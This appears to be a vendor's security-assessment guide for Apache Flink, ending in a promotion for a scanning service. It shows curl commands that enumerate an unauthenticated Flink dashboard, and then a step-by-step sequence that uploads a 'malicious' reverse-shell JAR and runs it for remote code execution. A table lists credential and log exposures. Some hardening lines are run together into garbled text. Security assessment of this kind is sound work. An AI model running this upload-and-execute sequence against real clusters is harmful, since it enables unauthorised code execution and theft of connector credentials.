Apache Flink is a distributed stream and batch processing framework widely used for real-time analytics and ETL pipelines. Its default security configuration is developer-friendly but production-unsafe: the Flink Web Dashboard on port 8081 requires no authentication and exposes the full REST API including JAR upload and job submission endpoints — uploading a malicious JAR and submitting it as a Flink job executes arbitrary Java code on the JobManager with the Flink process's OS privileges; the REST API accepts job graph submissions without validating the submitter's identity; TaskManager web interfaces expose local log files including application logs that often contain database connection strings; and Flink jobs commonly access Kafka, JDBC, and S3 connectors whose credentials are passed as job configuration parameters visible in the dashboard's job detail view. This guide covers systematic Flink security assessment.
# Apache Flink default ports:
# 8081 — JobManager REST API / Web Dashboard
# 6123 — JobManager RPC (Akka)
# 6121 — TaskManager data
# 6122 — TaskManager RPC
# Check Flink dashboard accessibility (no auth required by default)
curl -s http://flink.example.com:8081/overview 2>/dev/null | python3 -m json.tool | head -10
# Returns: {"taskmanagers":N,"slots-total":M,"jobs-running":X,...}
# List all running jobs (no auth)
curl -s http://flink.example.com:8081/jobs 2>/dev/null | python3 -c "
import json,sys
data = json.load(sys.stdin)
jobs = data.get('jobs', [])
print(f'Running/history jobs: {len(jobs)}')
for j in jobs[:10]:
print(f\" {j.get('id','?')} status={j.get('status','?')}\")
" 2>/dev/null
# Get Flink version (for known CVE lookup)
curl -s http://flink.example.com:8081/config 2>/dev/null | python3 -m json.tool | head -5
# Lists Flink version, cluster type, and configuration keys# Flink allows uploading a JAR file and running it as a job
# With no authentication, any user can upload and execute arbitrary Java code
# Step 1: Create a malicious Flink job JAR (reverse shell)
# The JAR must implement a valid Flink job main class
# Simplified proof of concept using existing compiled JAR:
# Upload a JAR to the Flink REST API
curl -s -X POST http://flink.example.com:8081/jars/upload \
-F "jarfile=@/path/to/malicious-job.jar" 2>/dev/null | python3 -m json.tool | head -5
# Returns: {"filename":"/tmp/flink-jars/malicious-job.jar","status":"success"}
# Step 2: Extract the uploaded JAR ID
JAR_ID=$(curl -s http://flink.example.com:8081/jars 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d['files'][0]['id'] if d['files'] else '')" 2>/dev/null)
# Step 3: Run the JAR (executes Java code on the JobManager)
curl -s -X POST "http://flink.example.com:8081/jars/${JAR_ID}/run" \
-H "Content-Type: application/json" \
-d '{"programArgs": "--output /tmp/pwned", "parallelism": 1}' 2>/dev/null | head -3security.ssl.rest.enabled: true with client certificate verification or place behind an OAuth2 proxyweb.upload.dir to a non-writable path or restrict via proxysecurity.kerberos.login.keytab for Hadoop/Kerberos environments/taskmanagers/{id}/logs endpoint may expose sensitive application logs| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated JAR upload enabling RCE | POST /jars/upload with malicious JAR — then POST /jars/{id}/run to execute | Critical |
| REST API job submission without auth | Submit job graph via POST /jobs — executes arbitrary Flink topology | Critical |
| Job detail exposes connector credentials | GET /jobs/{id} — may show Kafka/JDBC/S3 connection strings in job config | High |
| TaskManager log directory traversal | GET /taskmanagers/{id}/logs — returns list of log files; read via /log endpoint | High |
| Cluster topology disclosure via metrics API | GET /taskmanagers — lists all TaskManager hostnames and resource slots | Medium |
| Checkpoint state in object storage readable | List S3/HDFS checkpoint path — serialized state may contain connector secrets | Medium |
Ironimo tests Apache Flink deployments for unauthenticated JAR upload enabling arbitrary Java code execution on the JobManager, REST API job submission without authentication allowing any user to run Flink jobs, connector credential exposure in job configuration detail views, TaskManager log file access disclosing application secrets, cluster topology disclosure via the metrics API, and checkpoint state in object storage exposing serialized connector credentials.
Start free scan